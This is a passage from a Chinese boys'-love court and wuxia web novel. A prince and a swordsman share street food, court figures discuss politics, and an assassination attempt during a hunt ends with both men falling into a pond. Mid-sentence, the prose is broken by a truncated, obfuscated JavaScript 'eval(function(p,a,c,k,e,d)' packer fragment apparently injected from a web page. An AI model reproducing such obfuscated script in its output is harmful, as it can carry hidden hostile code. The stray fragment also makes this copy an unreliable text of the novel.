忘言不管,只听主子的。 两人还在角力不许对方递出钱袋,店家却已经端着三碗豆腐脑过来了。每碗都盛得快要溢出,卤汁淋得匀,香菇黄花菜木耳丝码得整齐,一勺辣油浮在上头,红得透亮。 “客官慢用,我可不能收王爷的钱。浮圆子我夫人在做,马上来!”店家笑得温婉,活了大半辈子,头一回见县衙往外吐钱。他心里清楚,这都是托了这面若敷粉的王爷的福。 辛闱抄了陶承允所有宅邸庄园,大批金银珠宝重归国库。县衙张榜告示,说与百姓每:本县已拿办贪墨赃官,尽数清算!凡被克扣体恤钱、被强征税银的,速来县衙登记认领。登记须邻里三户作证,若有虚报假报者,拏住发充军! 榜底还另有一行字迹,上言王爷喜静,爱与民同乐,遇其万莫围扰。 赵靖一身富贵气,昨日又那般雷厉风行除民害,因而他一上街,就被各路行人认出,只是念及县衙告示,无人叨扰。 “咸的?”赵靖面露难色,一张脸皱巴巴的,“谁吃咸的豆腐脑?我要甜豆花。” 霎时满座皆静。 简直骇人听闻。 掌勺的老板,手里笊篱都掉了。她是女菀族人,归化昭国后为融入此地,便也学着让正夫出来当店家,侧夫打下手,在外与正夫兄弟相称。这王爷,面容姣好,首领正夫之位可还空着,她改日回去进言几句才是。 “……敢问王爷,这甜、甜的豆花要如何做?”店家发懵,甜的,他闻所未闻,许是中都那边的时兴吧。 众人抓心挠肝似,若是旁人他们可就插起腰来理论,要吃甜豆腐脑是不是来砸场子的。可他是靖王,他这么说一定是有理由的吧。 “一勺绵白糖覆在热豆腐脑上便好,夏日炎热,以可置于冰窖片刻,再放糖蜜。”忘言不解,此等小事也要问。 亓骁云默默换了个位置,坐到赵靖身侧,替他挡住那些隐而不发的探究、惊诧、嫌弃、痛心的目光。虽然他也没吃过甜口豆腐脑,可赵靖想吃,做与他便是,横竖也不费事。 一群人大题小作,净会直勾勾盯着赵靖做甚。 赵靖眼珠一转,笑得意味深长,现下亓骁云连在外头也想要亲近自己了么。都怪自己,过分招人喜爱,就暂且纵容他一回罢。 “望山县虽不大,却有几家老字号,吃食不错。那边街口,有家芝麻烧饼日日排长队。巳时过三刻,老卢家的酱肉就出炉了。还有一家卖蜜饯的,他家的腌梅,我尝过,酸甜适口……” 不知赵靖的喜好,亓骁云便如数家珍,把整条街的吃食都说与他听。 “亓兄对这熟得很,才来没几日便了如指掌。” 亓骁云笑笑不接话,他走江湖多年,每到一地,摸清街巷、熟悉人情,已是惯习。 人生第一次违背祖宗菜谱做了甜豆花,店家忐忑地捧着上桌,绵白糖一时难寻他用了砂糖,细声问王爷可有不妥。 赵靖执匙舀着吃,糖粒没化全,但好在豆香浓郁口感丝滑,比之宫中御厨做的奶豆腐另有一番滋味。 奶、奶豆腐,店家如鲠在喉欲哭无泪,这、这简直…… 聪明人却已然去打听奶豆腐是何物,趁着如今王爷声势大,做些新奇东西必能赚上一笔。 不管众人如何震惊甜咸之分,赵靖只是时不时把目光倾向身侧之人。 中都不是没有龙阳之好,养着白面书童、偏爱纤细小倌皆不少见,可大抵不会有人喜欢亓骁云这般一眼望去便是筋骨硬朗、身姿如松的男儿郎。 赵靖想,约莫亓骁云亦是难觅佳偶,中意自己的心思明明藏不住还每每强撑镇定,笨拙得可爱。既如此,虽不能应承他些什么,可允他愿常伴身侧略解相思,亦非不可。 亓骁云只管吃,卤汁咸鲜,辣油激得他舌尖发麻。赵靖又在偷看自己了,若有朝一日,赵靖直言心意,他又该如何应对是好。 嘈杂茶棚里,两人各怀心事。 只有坐在对面的忘言,眼观鼻鼻观心,甜的咸的豆腐脑都好吃,他又叫两碗。 “亓大哥又来啦!今日带朋友来?尝尝新出炉的芝麻饼!”摊主的妹妹在哥哥身后和面,闻声探头,面带羞涩看着亓骁云,她别了别耳边鬓发。 亓骁云应声并未多言,先一步掏钱买下数个,方才一时出神让忘言抢先结了帐。他递一个给赵靖,自己捧着另一个,边走边吃,半点不拘谨。 赵靖咬了一口,芝麻香脆,糖心滚烫,烫得他嘶了一声,却舍不得吐。 亓骁云嘴角微微扬起,没说话,只把自己那个吹了吹,又递过去:“这个凉了些。” 赵靖看着那只递到眼前的手,骨节分明,手指修长,薄茧不少,是常年握刀弄枪留下的痕迹。他接过饼,咬了一口,这回不烫了。 “亓兄人缘倒好。”赵靖咽下饼,语气闲闲的,“走到哪儿都有人认识。” 话音刚落,一道人影从斜刺里蹿出来。亓骁云眼疾手快,伸手一拦,那人才稳住身形。 “哎呦呦,对不住对不住!”来人抬头,圆脸大眼,满脸稚笑,“殿下!亓大侠!大木头,好巧哇!”是罗里里。 赵靖挑眉:“你怎么在这儿?” 罗里里凑上前,压低声音耳语:“殿下,有消息,那人乔装在东城门外窝着呢。” 还有一队人马悄无声息到了望山县,在茶棚里歇脚,领头的笑着接过茶壶,听众民欢悦,他一低头,眼中静如寒潭。周衍要杀的人就在城里。 亓骁云神色未变,只目光微微一沉,说什么要贴如此近。 赵靖若有所思,东郊苑囿,刘澹予已寻好骏马,今日未时邀了诸多世家子弟走马弋猎。想来那人会趁此机会动手,他示意忘言附耳过来,交代一二。 忘言皱眉,虽说他有十足把握,可仍旧不想这小祖宗冒险。可他拗不过,只好应下,让暗卫跟紧些才好。 亓骁云不解,到底是什么事情,一个两个都要凑到赵靖脸前才能说。 “亓大侠,久仰大名啊。”罗里里眼珠子滴溜溜转,在两人身上来回扫了几圈,此二人孰上孰下?真是难说。他忽然嘿嘿一笑,“何事让亓大侠愁眉苦脸的?说与我听听,能不能帮忙另说,起码不用憋在心里嘛。” “无事。” “亓大侠怎么也学这木头,说话三两字词打发人。” 忘言平淡转头,看一眼嬉皮笑脸的罗里里,又平淡地转回去。 “哼,看在殿下的份上,我不与木头计较。”赵靖才吩咐遣人回去请阮方竹和藏青到郊外同游,罗里里就攀上他手臂,讨要好处,“殿下您看,我这消息递得及时吧?是不是该赏些什么。” 赵靖看他一眼,“一吊钱。” 忘言深以为然,实则不给钱也无可厚非,万象阁本就吃官家的私银。 “这哪能行啊,辛苦费都……” “既是替靖王办事,又何必斤斤计较。”亓骁云的不满溢于言表,街巷大道上拉拉扯扯成何体统,“你替主子劳心劳力,更不应用钱辱没了你的忠诚。” “嘿!”罗里里暗忖这回你倒是说话流利了,可惜没来得及辩驳,赵靖笑着抽出自己手臂,自然而然搭上亓骁云肩膀。 搂着,倚着。 “亓兄说得对,我哪能负了少阁主的,一片赤诚。”赵靖憋着笑,偏头去看亓骁云压着的嘴角。今日天气真是好,暖阳照得他欣欣然。 “您二位心意相通,但也不能沆瀣一气啊,欺负我一个算什么英雄好汉。”罗里里嘴上叫屈,眼睛却亮得很,来回打量这两人。 赵靖眯起眼看罗里里:“你今早出门,是不是没带脑子?” 罗里里还要贫嘴,后领一紧,整个人已然被揪住。 忘言不知何时出现在他身后,面无表情地把人往旁边拖:“少阁主,在下带你去拿脑子。” “哎哎哎!我话还没说完呢——殿下,亓大侠,你们般——唔!!!” 声音渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宫中已在备演新春庆典。赵珩收回目光,让福喜去给赏银,寿生替他与太尉斟茶,又添暖炉。 “靖儿先除边患,又斩贪吏,我心甚慰。”赵珩逗弄着灰木雀,明明是机巧,却也似活物般灵动。 “靖王有功,可他行事不是花钱用江湖人,便是先斩后奏,还是不够稳妥。”常岳厉不喜苦茶只嗜烈酒,抱臂应声,“陛下还是先保重龙体,何必冒风来看庆典备演。” “靖儿又非自幼钻研权术,他聪慧,太尉与其他忠良一教便会。即便行事有何不妥,日后还有你们托着,我也放心。“ “哼!谁要替他收拾烂摊子。”常岳厉没好气,茶凉了也喝,“杀一个小小知县算不得大事,但万一背后之人狗急跳墙,或气愤,或立威,派人刺杀那他的麻烦可大了去。贪官污吏不可治标不治本,徐徐图之,一举灭其根源才是正理。” “太尉担心靖儿,又何必拐弯抹角。”赵珩放飞木雀,他看向一旁,那是暗卫隐匿身形的梁柱。 一身劲装的不语无声行至二人面前,她略一行礼,“二位不必忧心,凭忘言之能,定护靖王周全。” “倒是叫你二人分别许久。”赵珩戏言,忘言和不语是夫妻,育有一子,养在太尉膝下,是赵昀的伴读。 不语皱眉,“效忠主子,何来怨言?职责所在莫说分隔两地,刀山火海也去得。” “哈哈哈哈,你夫妻二人总是一板一眼的。”太尉抚着胡子朗声道,他接着说起练兵之事,已私下命各地驻军寻老河工进军营,此事不张扬,只每日午后教习两个时辰,“他这臭小子,敛财倒是敛得及时。” 赵珩弯了眉眼,他想起小时候娘亲说过,抓周时,小果一手拿铜钱,一手拉着自己。 “对朝堂可不要吝啬宣扬靖儿功绩,让众臣知道,谁可堪明君。” “造势可以,但他根基尚浅,木秀于林风必摧之。” “太尉所言甚是。”可赵珩知道自己等不得,“赵昀近来功课做得好,我寻一日,携他上早朝。” 思索一会,赵珩又道:“赵宥也带上。” 赵宥,周柔陪嫁丫鬟所出,其娘亲得封贵人后不日暴毙于宫中。这孩子,也是可怜,赵珩将他养在太皇太后膝下。太皇太后吃斋念佛不理俗务,她久居深宫多年,护一个孙儿自是不在话下。 天气晴好,望山县城西跑马场早早围满了人。场边彩棚高搭,金银堆成小山,赌局已开,世家子弟早早就候在了这,只等靖王大驾光临。 女眷亦在场,姜楹在帐中品茶,她悄声告诫刘澹予,待会万万不能越过靖王,更不可近其身。姜楹不知伯父为何如此吩咐,可总归不会害她。 刘澹予面露郁色,不能夺魁多难受啊,他随口应下,想着冲线前慢下便是,途中可还要弋猎呢。 赵靖来时,众人欢腾。 13. 走马遇刺 公子们今日都着劲装,窄袖短衣,腰束革带,脚蹬乌皮靴。有人嫌幞头碍事,索性只挽个髻,以绸带束之。 赵靖换了身玄色窄袖骑装,抹额也换了,金线勾的流云翻转,衬得眉目清隽利落。他不理会众人的恭维,只转头寻人。 亓骁云远远就看见了人群中的赵靖,骑装裹得他身形修长,平日里的温吞收了,那双带着锋芒的眼睛越过众人,正望向自己。 他笑了。 若日日都如此,倒也不错。 亓骁云牵着两匹马穿过人群,一匹枣红,一匹雪白,都是他特意从苑囿马厩里挑出来的良驹。 “赤马性烈,却极通人性。”亓骁云把缰绳都递到赵靖面前,选哪匹由赵靖来定,“白马温顺,适合初骑。” 赵靖接过赤马缰绳,翻身上马,动作利落得不似养尊处优的王爷。他俯身抚了抚马颈,赤马打了个响鼻,前蹄轻踏,很快便乖顺下来。亓骁云眸光微动,笑意不减。 阮方竹亦跃跃欲试,她巾帼不让须眉,牵了匹青骢马候在一旁。比起看戏赏花,与人赛马更让她精神爽朗。可惜藏青出诊去了,不然和他在一起走马更有意趣。 铜锣一响,十几匹马如箭离弦,齐齐窜了出去。赵靖起步不快,不抢头阵,只稳稳咬住前三。刘澹予冲在最前头,阮方竹落后一个身位,高高束起的青丝在风中肆意飞扬。 林间不远,弯道近在眼前,前马稍稍减速。 赵靖知道机会来了。他双腿一夹,整个人伏低,几乎贴在马背上。赤马仿佛读懂了他的心,四蹄发力,霎时从内道切了过去。 超过去的那一瞬,赵靖侧头看了一眼并辔齐驱的亓骁云,嘴角微微一勾。 “我们分开狩猎!亓兄,输与我可别恼。” 亓骁云心跳快如擂鼓,他怔了怔,随即扬鞭催马,朗声大笑。冷冽的风过喉入肺,没让人生寒,倒是血脉贲张。赵靖这一眼,往后亓骁云记了许久。 两人一前一后没入林间,惊起飞鸟,其余人随后追上。 围场边早已哗然,支起赌棚,金银堆成小山,绢帛叠成高垛。有人当场解下腰间玉佩,往案上一拍:“押我家公子。”那玉佩成色极好,足够买下一座宅子。 旁边的人也不示弱,摘下冠上的明珠:“跟了,次席必是我家公子!” “我押两注,赌王爷身边那姑娘。” 押注的喝声、小厮的呼喊,混成一片。 没人在押注魁首,哪个傻子都知道别在此等场合夺了王爷的风头。故而赌桌之侧,那一堆金银珠宝就是大家伙默认要“有眼无珠”,输给王爷的。 送礼怎么不是送,送得人欢喜才是好的。 赌棚一侧,树荫下倒茶渣洗杯盏的小厮凑在一起,说着靖王真会享齐人之福,白净的林家幺子,英气的女侠,方才还与一个俊朗汉子暧昧相视……啧啧,羡煞旁人。 “好生干活!嚼什么舌根。” “哎呦!小的嘴贱大人……”求饶的话说到一半抬头发现是熟人,啐了一口,“你去过刘家送菜,见过什么刺激场面没?” “瞧你那胆子。我哪能见到贵人们,可听刘家的帮厨说,其实啊,王爷院中热闹得很,养着林家的不够,还日日和汉子宿在一处,那汉子还争风吃醋过……” “哎呦世风日下,堂堂大男人,供人玩乐算个什么事?” 八卦一旦开了头,就如水东流,滔滔不绝。 林中早有仆从布下猎物,雉兔惊飞,鹿獐奔窜。赵靖引弓搭箭,箭无虚发,不多时鞍侧便挂了数只猎物。 树间簌簌,忘言蹲在枝头,伸手一指地上新鲜的马蹄印,“主子,那边。” 亓骁云和阮方竹的猎物都是暗卫有意驱赶,引着他们往不同方向去。 “阮姑娘!”赵靖言语中带着惊喜。 “王爷留步。”阮方竹忽然低喝,同时张弓指向赵靖身后灌木。赵靖会意,勒马侧身,只见一道灰影窜出,阮方竹箭发如电,那野兔应声而倒。 “阮姑娘好手段。”赵靖策马近前,“不如比试一番?” “不敢与王爷争锋。”阮方竹收弓,拉直缰绳转换方向,“那处水潭边鹿群饮水,殿下可愿同往?” 赵靖沉吟片刻应下,水边开阔,潜伏进来寻仇的那人想来会在隐蔽处动手。 林间光影斑驳,马蹄踏碎一地枯叶。 “王爷是想与我阮家交好,才几次三番对我格外关照罢。”不让灰兔受折磨太久,阮方竹拔出匕首替灰兔解脱,血淅淅沥沥的,很快流尽。 “不错,如今盛世将启,阮家有才朝中缺人,何不顺势而为。” 阮方竹笑笑,将匕首在兽皮上擦净,抬眸直视赵靖:“王爷惜才,此话我自当转述父兄,父兄之意我不敢妄下定论。可今日我却是想与王爷聊聊别的。” “愿闻其详。”赵靖闻到了湿润的泥土气息,还混着些腐叶味道。天晴雪融,马蹄泥泞。 “王爷对亓大哥,是作戏?还是存了些许真心?” 赵靖勒住缰绳,赤马在原地踏了几步,不安地甩了甩头。他垂眸看着阮方竹,神色坦然,心里却冒出几分莫名的不喜。 “阮姑娘何出此言。” “我与亓大哥也算相识多年,他对我和藏青有救命之恩。”阮方竹陷入回忆,缓缓道来。赵靖微抿着唇,英雄救美,哼,老套的戏码。 “亓大哥看似温和,实则心防极重,他从不在一地停留许久。我们要还恩如何厚礼都不为过,可亓大哥常常推辞,只道是举手之劳,不必挂怀。”阮方竹顿了顿,目光落在远处渐显青色的山峦上,“亓大哥推辞的不是礼,是情。人情往来,羁绊渐生,他便抽身离去。他说他要寻心安处为家,若流连一处,只怕会错过他的良人。” 赵靖没有接话,只轻轻拍了拍赤马的颈侧,那马儿渐渐安静下来。 “可亓大哥对王爷不一样,你对他好,他从不推拒。” 水声渐近,鹿群受惊的呦鸣从远处传来。赵靖静静听着,他想起亓骁云那些触之即离的眼神,自以为悄无声息,实则热烈得紧。 “王爷,我并非要探听些什么。”阮方竹得声音轻了几分,“只是忧心亓大哥错付,更怕他被辜负。” 赵靖可以随时抽身,回到他的中都、他的王府。江湖于他,不过一段可以尽情的旅途。但亓骁云如果陷进去,就再也回不到原来的江湖了,旁人的议论能把他淹了去。 阮方竹自认没看错,这两人时常眉来眼去,分明全是自己看藏青的神情。 水声潺潺,鹿群已散,林间只剩下偶尔的鸟鸣。赵靖沉默了片刻,赤马在他身下轻轻踏着蹄,像是在等主人的回答。 “若真是如此就好了。” 赵靖开口,声音比方才低了些,像是说给阮方竹听,又像是说给自己。 阮方竹微微一怔,随即明白了什么。这靖王,怕是连自己的心意都还没理清。 “本王虽不是什么好人,却也从不负真心待我之人。”赵靖抬起头,望向她,眼中那层惯常的戏谑收了起来,难得的认真。 马蹄声由远及近,打破林间的寂静。赵靖耳尖微动,循声望去,遥遥一眼,便认出马上的身影。 亓骁云远远就看见了水潭边的两人。赵靖又和阮姑娘遇在了一处,林场之大,怎的不和他先碰见。他勒住马,放慢了速度。 “阮姑娘。”亓骁云策马靠近赵靖,目光在他脸上转了一圈,“你可寻着猎物了?” 话音未落,林中骤变。 一道黑影从灌木中暴起,刀光直取亓骁云后背。亓骁云耳听八方,身形一偏,那刀擦着他肋下而过,只半片衣角飘落。 “有刺客!” 赵靖话音未落,四面八方已涌出数条人影,刀剑齐出,直扑亓骁云。寻仇之人自知难敌江湖赫赫有名之人,散尽家财寻了帮手。 亓骁云翻身下马,长枪已在手中。他没有后退,反而向前迎了一步,绝不能让他们靠近赵靖。 刀光剑影间,亓骁云枪出如龙,逼退最先冲来的三人。可那些人不要命似的,被逼退又扑上,招招都是同归于尽的打法。混乱间赵靖快速瞥了一眼树上浓阴。 “阮姑娘,我保护你。”赵靖抽出佩剑撇开飞 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那一瞬间,亓骁云的脑子里嗡的一声,什么都听不见了。 他转身,拎着枪往回走。 “亓骁云!”赵靖喊他,他不对劲。 亓骁云没回头。 寻仇之人已被赶来的忘言与暗卫制住,按跪在地上。亓骁云走过去,枪尖指着其中一人,声音冷得入骨,叫人胆寒,“谁动的手?” 那人抬起头,满脸血污,却忽然笑了:“亓大侠,威风啊。如今攀上了高枝……” 亓骁云不想听废话,枪尖往前一送,刺入那人肩胛。那人惨叫一声,却仍咬着牙骂:“你杀了我儿,理应循江湖例与我单挑死战。可你成了朝廷走狗,日日厮混,好不容易寻个时机,竟伙同他人合围,我呸!“ 枪尖抽出,又刺入。 亓骁云脸上没有表情,连眼睛都没眨一下。 “我儿犯了什么天条!叫你斩杀,身首异处!他不听朝堂之令,就是贼子?他不过是贩了几包盐,不过是不肯交那莫名其妙的捐税——啊!” 赵靖走到亓骁云身边,看见这一幕,脚步顿住。他从未见过这样的亓骁云,杀意可怖。但他不惧,反而笑了,这才对嘛,江湖的侠客杀伐果断,话本里的腥风血雨在眼前呈现,赵靖心里发痒,嘴角扬起明媚的笑意。 “亓骁云。”他又喊了一声。 亓骁云侧头看他,又看见了那条已然自行止血的伤痕,仍旧红得刺眼,握枪的手青筋暴起。他虚虚挡住赵靖的眼,枪尖再起,像收割稻草一样,一枪了解一个人,没有半句废话。 “你受伤了。”亓骁云声音干涩。 赵靖拉下亓骁云手腕,这人的脉搏,隔着皮肉都能觉出那股躁动的血气。他故意用指腹蹭了蹭那处凸起的青筋,抬眸笑道:“蹭破了点皮,没事。倒是你肩上……” 没事。 亓骁云指节泛白,他想说,你怎么能骑着马去救人,你怎么能让自己受伤,你知不知道我快吓破胆,可他什么都没说。现下还没资格说,亓骁云不知下定了何种决心。 他只是往赵靖身边又靠近了一步,近得几乎要贴上。赵靖抬头看他,两人的呼吸近在咫尺。 一道寒光猝然袭来,不是冲着亓骁云,而是直直刺向赵靖。 太快了。 那人不知在林间潜伏了多久,等的就是这一刻,所有人都以为已经结束的这一刻。 赵靖余光瞥见那抹寒光,来不及多想,本能地拽开亓骁云。 可他忘了,他身后就是水潭。 亓骁云被他拉得一个踉跄,两人避开利刃却失去平衡,水花四溅。 冰冷的潭水瞬间吞没了赵靖。他来不及闭气,来不及挣扎,只觉得天旋地转,身子被水流裹挟着往下冲。 有人死死拉着他。 可他什么都看不清,只觉得耳边嗡嗡作响,头撞上了什么,他听见了自己脑袋里的回响。 好痛,好冷。 幸好藏青医治过林澈,有经验。 赵靖眼前一黑,便什么都不知道了。